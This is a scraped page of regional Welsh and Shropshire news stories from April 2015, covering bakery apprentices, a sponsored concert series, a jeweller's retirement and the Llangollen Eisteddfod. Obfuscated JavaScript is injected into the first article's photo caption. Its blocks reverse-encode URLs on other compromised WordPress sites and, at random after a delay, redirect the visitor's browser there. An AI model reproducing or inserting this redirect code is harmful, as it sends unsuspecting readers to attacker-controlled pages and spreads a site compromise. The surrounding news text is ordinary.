Category: News

Bakery’s golden generation honoured at one of the best companies in Wales

Village Bakery Chairman Alan Jones and Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor Christien Jones (RIGHT) with Ken Skates AM (front centre) and Apprentices and staff from the Village Bakery and Coleg Cambria.

A “golden generation” of apprentices have been honoured for helping to turn a family run bakery into a massive success story.

The apprentices past and present from the Village Bakery were given special silver and gold pins commissioned from leading jewellers Boodles of Chester.

They were presented at the firm’s bakery in Minera, near Wrexham, by Clwyd South AM Ken Skates, who is also the Minister for Culture, Tourism and Sport, who praised the Village Bakery as one of the best companies in Wales.

The family-run bakery employs nearly 400 people and has two other bakeries on Wrexham Industrial Estate where they are building their new £4 million Baking Academy and Innovation Centre to create the next generation of bakers.

More than 20 current and former apprentices received certificates at the ceremony with 15 of those who have come up through the ranks also receiving a special presentation.

The special V for Village pins were given to those who have completed their Level 3 NQQ qualifications.

Many of the former apprentices are now senior managers at the bakery that was last year named as the fastest growing manufacturer in Wales.

The pins are of solid silver with a golden ear of corn and Village Bakery Chairman Alan Jones said: “It makes me very proud to be here today to hand over these beautiful pins. This is the start for you, not the end, so go for it. You are our golden generation.

“Training our own staff has always been a strength of ours – we then make sure we have staff who buy in to the Village Bakery culture.”

It was a sentiment echoed by son Christien, who is also a director of the Village Bakery.

He said: “We are family focused, people focused and most of our managers and supervisors are Village Bakery people who have come up through the ranks.

“We have enjoyed some excellent, sustainable growth and we have a brilliant team on all three sites which gives us the confidence to go from strength to strength.”

Ken Skates, who made the presentations said: “Village Bakery are one of the best employers anywhere in Wales and that was shown last year with the St David Award.

“When I was Deputy Minister for Skills and Technology I learned so much about the value of vocational pathways and the average apprenticeship is worth the equivalent of a 2:1 university degree and I expect that for you it will be worth so much more because of the company you are working for.

“Since I was last here I’ve been eating far too many of your pies but I love coming here and that’s because of the people and it’s great to see your investment in people bringing such success.”

One of the recipients, Kerry Wilson, 41, from Tan y Fron, Wrexham, started as an apprentice at 16 and is now a production manager and he said: “A lot of the people here at the company started as apprentices and as the company has grown they have been able to progress.

“Alan was the boss and I’ve grown up with his sons, Robin and Christien, who are directors and they’re my friends as well as my employers. They’re so approachable.

“It’s worked well for the company to bring people through from within rather than recruit from outside. It means there’s a real local link to the company.”

Daryl Stephenson, 36, from Ruabon, qualified as a baker last year and he said: “They’re a great company to work for. They really invest in us and there’s not many places where the chairman will just come up and talk to you.

“Since I’ve completed my apprenticeship I’ve moved on into new product development so it has really worked for me.”

Tom Jackson, 20, from Coedpoeth, completed his Level Two last year and is working on Level Three and he said: “I was taken on two years ago and it’s gone from strength to strength and the way the directors get involved makes the company stand out.

“There’s a good career path and I want to progress and work my way up and take my opportunities.”

Village Bakery has up to 20 apprentices at Coleg Cambria in Wrexham each year and Carolyn Preece, the college’s Work-based Manager for Food Manufacture, said: “We have developed a very good relationship with Village Bakery over the last few years.

“They’re a very well respected firm. They’re very family-oriented and also very professional and very proactive and educating their staff is very important to them and they are reaping the reward.”

Monday April 27th, 2015

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Top tenor Rhys delivers triple tonic

Pendine Parks Tonic concert. Pictured is Pendine Park chief executive Gwynfor Jones with Rhys Meirion and his Daughters Elan,16 and Erin,13 at Galeri Caernarfon

A sell-out audience at were treated to a triple tonic.

The concert at Galeri in Caernarfon starred top tenor Rhys Merion and his two daughters Elan, 16, and Erin, 13.

Pendine Parks Tonic concert. Pictured during a quick rehearsal is Rhys Meirion Pianist Annette Bryn Parry and Rhys Meirions' Daughter Erin,13 at Galeri Caernarfon

The performance by was part monthly programme of concerts called TONIC offering older people an opportunity to enjoy the arts.

The programme has been sponsored by the Pendine Park care organisation that’s also supporting a range of other arts-related events at Galeri.

Pendine Park is building a new £7m centre of excellence for people with dementia on the site of the former Bryn Seiont Community Hospital in Caernarfon. It’s due to open in the Autumn.

Rhys Meirion, who hails originally from Porthmadog, says the TONIC programme is vitally important as it gives older people the chance to enjoy a range of music and performers during the early afternoon.

Pendine Parks Tonic concert. Pictured during a quick rehearsal is Rhys Meirion and Pianist Annette Bryn Parry at Galeri Caernarfon

He said: “TONIC is a fantastic programme as it gives some older people, who don’t like to, or who are unable to, come out in the evening a chance to enjoy music and the arts.

“It means they are not excluded from enjoying performances and the fact the concerts are invariably sold out shows how important they are to the Caernarfon public.

“However, without sponsorship from Pendine Park care organisation I’m sure the programme wouldn’t be as healthy, secure or successful as it is. I’m impressed with Pendine Park’s commitments to the arts whether it’s music, painting or even photography.

“Sponsorship from Pendine Park means the older people who attend TONIC events can do so because the tickets are at a price they can afford and that’s vital.”

He added: “This isn’t the first time Elan and Erin have joined me on stage and performed in their own right. They really enjoy what they do and in truth we are a very musical family.

“There is a lot of singing in the Meirion household! As well as Elan and Erin, my wife, Nia, is in a choir and my son, Osian also sings. It’s always a proud moment seeing Elan and Erin on stage and audiences always seem to warm to them.

“We performed a range of music from opera to music from stage shows, accompanied by pianist Annette Bryn Parry. It’s always a pleasure to perform for a North Wales audience.”

Pendine Park spokesman Gwynfor Jones is thrilled the TONIC programme is able to attract stellar performers such as Rhys Meirion.

He said: “Pendine Park is committed to the arts and we know the benefits it can bring to our clients and residents.

“It’s especially important to us to be involved programmes such as TONIC in the Caernarfon area ahead of the opening of our new Bryn Seiont centre in October.

“And we are absolutely delighted to see so many, particularly older people, coming out and enjoying the TONIC performances at Galeri Caernarfon.”

Galeri Caernarfon marketing manager Steffan Thomas said: “We are thrilled with the TONIC programme and Pendine Park’s sponsorship.

“Every monthly performance is either sold out, or very close to sold out, which shows just how popular the concerts are.

“Today, prior to Rhys Meirion’s concert we were able to show a new short film explaining a little about Pendine Park’s commitment to the arts and of course the quality of care they are committed to.”

Life-long friends Marian Wagner, 68, of Groeslon, and Buddug Jones, 69, of Caernarfon, say they never miss a TONIC performance.

Buddug, who is registered blind and takes her guide dog Freya along to enjoy the show, said: “Marian and I have been friends from birth and grew up very close. We really enjoy coming to every TONIC performance and never miss.

“We don’t pick and choose which concerts we come to we come to them all, its great to enjoy what is a wide choice of music.

“I’m particularly looking forward to Rhys Meirion’s performance as I’ve followed his career closely and been to several eisteddfods to listen to him perform.”

She added: “I think it’s wonderful that Pendine Park care organisation is supporting the TONIC programme through sponsorship. The concerts are very important for people like Marian and I especially as they are held in the early afternoon.”

Marian added: “Buddug, Freya, her guide dog, and I never miss a TONIC performance and I think everyone is so pleased Pendine Park has sponsored the programme of concerts.

“It really is important for older people to get out and have a chance of watching and listening to music being performed and being able to buy tickets at reasonable prices.

“But that’s only possible thanks to the sponsorship from Pendine Park care organisation. And I think everyone who comes along to TONIC events is really grateful.”

Friday April 24th, 2015

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Shrewsbury jeweller clocks off after 30 years – and is replaced by his son

Brian Hughes is retiring as manager of F Hinds in Pride Hill, Shrewsbury and will be replaced by his son, Carl.

One of jeweller Brian Evans final tasks before retiring was to finish the almighty task of putting 800 clocks forward an hour in his Pride Hill Shopping Centre store for the last time.

Brian Evans is the longest serving manager in the Shrewsbury shopping centres and on Saturday hands over the reins of F Hinds to his son Carl after 30 years in the job.

But before he could do so he had to complete the twice yearly time change – a job that took his team of six several days and involved tinkering with up to 800 winding and digital mechanisms.

Brian, aged 62, said: “We must have about 800 watches and clocks that we have to reset. We all do a bit and gradually chip away at it but it takes days.

“There are some that we leave at ten to two as well, which is an old traditional thing from long before I ever set foot in a jewellers. The idea is that it looks like a smiley face.”

The Pride Hill Shopping Centre store has an impressive collection of timepieces, many of which ring, ding, chime or even play a tune on the hour but Brian says he no longer notices any of it.

He said: “They are all set slightly differently so they don’t all go off at exactly the same time – that would be bedlam – but we don’t even hear it anymore as we’re here all day every day.”

Brian, who lives in Oswestry with wife Tina, managed the Shrewsbury store since 1989, and spent five years with the company in Cwmbran before that.

He said: “Before then I was store manager of Hepworth’s the tailor before it was Next so 43 years in total in one store or another and I’m the longest serving manager in the Pride Hill Centre by quite some years. Hence the retirement!”

Over his many years of service, Brian has seen several changes, in particular the launch and subsequent growth of the internet side of the business, as well as increasing hours and fickle jewellery fashions.

He said: “Nowadays some pop star or other just has to wear a certain brand for five minutes and they all want it.

“We sell a lot more white gold now as metal colours have changed and in recent years Tanzanite has come to the fore and there is only one mine for that in the whole world so when that runs out who knows what will be next?

“The other side of the business that has increased dramatically recently is buying and selling gold. I think after the property market wasn’t so stable, and share prices were a bit dodgy people came back to the tried and tested gold as an investment.”

Kevin Lockwood, Manager of the Darwin, Pride Hill and Rverside Shopping Centres, said: “Brian has been almost part of the furniture here for so long that it will seem strange without him.

“Retail is a fast moving business and you don’t stay as a manager for that long unless you’re very good and it’s rather wonderful that he is actually handing over to his son as well who has also worked here before.”

Having seen so many changes, good and bad, the one thing Brian will miss about his job at Pride Hill is the people.

He said: “There is a lot more paperwork, and there is a lot more health and safety but the one thing that doesn’t change is the customers and that’s what matters.

“There are people whose parents I sold christening gifts to when they were born who come back now to buy wedding rings from me and it’s lovely to have that connection with people at all the important times of their lives.

“It’s nice to have that continuity and they’ll still have that as it’s my son who is taking over from me and they know him already,” Brian added.

Carl has followed his dad into the same business, working with him at F Hinds and has been operating as duty manager of the Stockport branch.

The 38-year-old is delighted to take over from Brian at Pride Hill even though he knows he has a lot to live up to following in his father’s footsteps.

He said: “I have big shoes to fill taking over from my father but it will be really nice. He’s taught me all I know so it’s an honour for me really.

“We worked together in Pride Hill before for 18 years so he knows it will be in safe hands and I know he’s looked after it well. It’ll still be a bit weird though.”

And while Carl keeps the store running as his father did before him, Brian is looking forward to spending more time on a few jobs at home, sorting out decades of family photographs and enjoying his seven grandchildren – without having to keep an eye on the clock.

Tuesday April 21st, 2015

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Llangollen International Musical Eisteddfod boosts economy by £1.5m

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The Llangollen International Musical Eisteddfod will boost the local economy to the tune of £1.5 million.

That’s what the great annual event means to the south Denbighshire area and the town of Llangollen which has been hosting the festival since 1947 and which will again welcome the world this July.

The famous event that helped launch the career of opera superstars Luciano Pavarotti is again expected to attract nearly 40,000 visitors.

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The arrival of so many people from outside North East Wales means a cash injection that ripples out across businesses within a 20-mile radius of Llangollen.

Last year 36,000 people came to the Eisteddfod and with an average daily visitor spend of £42 that added up to a massive £1.5 million cash injection for the local economy.

This year’s Eisteddfod starts on Tuesday, July 7, and runs until Sunday, July 12, and already one of the biggest draws is proving to be the Thursday night concert when Alfie Boe will be joined on stage by Britain’s Got Talent star Jonathan Antoine.

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Other musical highlights include Oscar-winning music legend Burt Bacharach, the immensely popular Canadian singer-songwriter Rufus Wainwright, choirmaster Gareth Malone and former Royal harpist Catrin Finch.

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Another big draw will be and Ali Campbell, the voice of UB40 who sold 70 million records.

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Meanwhile, members of Jonathan Antoine’s fan club, the Fantoines, are gearing up to travel to Llangollen from far and wide, from all over the UK and from Europe too and even from Dubai.

Musical Director of the Eisteddfod, Eilir Owen Griffiths, says reaction to the news the Britain’s Got Talent star would be appearing at Llangollen has been amazing.

He said: “Jonathan Antoine is a real talent and has a huge career ahead of him; there is no doubt about it. I’m really not surprised at the sheer numbers of fans that have expressed an interest and booked tickets for the concert.

“And the huge distances fans are travelling is amazing and with most booking accommodation in and around Llangollen its clear the festival has a massive and positive impact on the regional economy.

“It really is going to be a special evening of music and I’m looking forward to greeting some of Jonathan’s ‘Fantoines’ to Llangollen.”

Clwyd South AM Ken Skates, who is also the Minister for Culture, Tourism and Sport, is a big fan of the Llangollen Eisteddfod.

He said: “I love the International Eisteddfod and was honoured to become a Vice President of the festival last year. It is a fantastic event and one of the jewels in the Welsh cultural crown.

“The Eisteddfod gives Llangollen another opportunity to showcase itself and provides a massive boost to the local economy, but it also helps to promote Wales on an international stage, which is hugely important as we strive to further strengthen our burgeoning tourism industry.”

News of the Eisteddfod’s £1.5 million economic contribution to the area was music to the ears of the festival’s Chairman, Gethin Davies.

He said: “Llangollen has long been known as the town where Wales welcomes the world.

“The Eisteddfod has always been lauded for the cultural enrichment it brings to the area and I am delighted the event is also being recognised for the economic riches it generates.”

Among this year’s visitors will be retired teacher Jan Smith, 62, of Andover, Hampshire, who describes herself as ‘Head Fantoine’ and she block books concert tickets so fans can sit together, hands out merchandise promoting Jonathan Antoine’s website and keeps runs a dedicated website.

She said: “I’m driving up on Thursday to visit the Eisteddfod before the show. I’m coming with a friend and we have booked accommodation in Wrexham.

“I have block booked tickets for the Fantoines and we have people coming from all over the UK, from Denmark and Germany for the concert with one fan who coming from Dubai.”

Jan was spellbound when she first saw Jonathan on Britain’s Got Talent stage and said: “I was channel hopping that night and saw Jonathan and his then singing partner Charlotte Jaconelli walk out on stage. I have to admit I was intrigued. He looked so out of place.

“But then he began to sing. He has a voice that just has an effect on you. There is just this feeling you get that he’s singing to you and you alone. I’ve been reduced to tears on more than one occasion.”

Pam Rose, 71, is driving up to Llangollen in a campervan from her home in Hemel Hempstead for the concert and is staying three days.

She said: “I just adore Jonathan. I don’t like Britain’s Got Talent but happened to drop on his audition with Charlotte Jaconelli by accident.

“There was this overweight and clearly very nervous 17-year-old dressed in a shabby T-shirt. And then he started to sing and I was hooked. I have now seen him several times including in a concert with Russell Watson at the Royal Festival Hall.”

NHS admin officer Liz Whelan, 60, is travelling to Llangollen for the concert from her Glasgow home along with her sister Janice Leleux, 57, and their 79-year-old mum, Elizabeth Wortman.

Liz said: “We are staying in Wrexham and have booked into a hotel for a few nights. I watched Jonathan and Charlotte’s Britain’s Got Talent audition and when he began to sing, wow!

“I don’t know what it was about Jonathan but his voice is so powerful and so incredible. I just fell in love.

“I bought his album and played it in the car. I had to pull over as I was crying so much I couldn’t see properly. His voice is such a joy.”

Sally Anne Adams is travelling to Llangollen from Essex and said: “I have travelled all over the UK to see Jonathan perform. I first saw him at St Pancras Station and I plucked up the courage to ask for a picture with him and not only did he oblige but his mum knew who I was from a comment I’d put on his page. She actually knew my name.”

The Eisteddfod will also feature Children’s Day and the Parade of Nations on the Tuesday, led by Eisteddfod President Terry Waite before the evening Heart of Llangollen concert featuring a galaxy of international talent.

Highlights of Wednesday will include the debut of the International Young Musician of the Year and the Children’s Choir of the World while Thursday’s competitions will see another first, the International Voice of Musical Theatre Trophy.

Friday’s Open Category for choirs will showcase styles like gospel, barbershop, jazz, pop and glee styles and will also see the International Voice of the Future decided with the prize including the chance to sing at one of the evening concerts the future.

The Blue Riband event, the Choir of the World for the Pavarotti Trophy, is decided on Saturday night as well as the Lucile Armstrong Dance Final and Sunday sees the Eisteddfod let its hair down for Llanfest before the climactic final concert with Ali Campbell, Astro and Mickey.

To book tickets and for more details on the 2015 festival go to the website at www.international-eisteddfod.co.uk

Tuesday April 14th, 2015

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News

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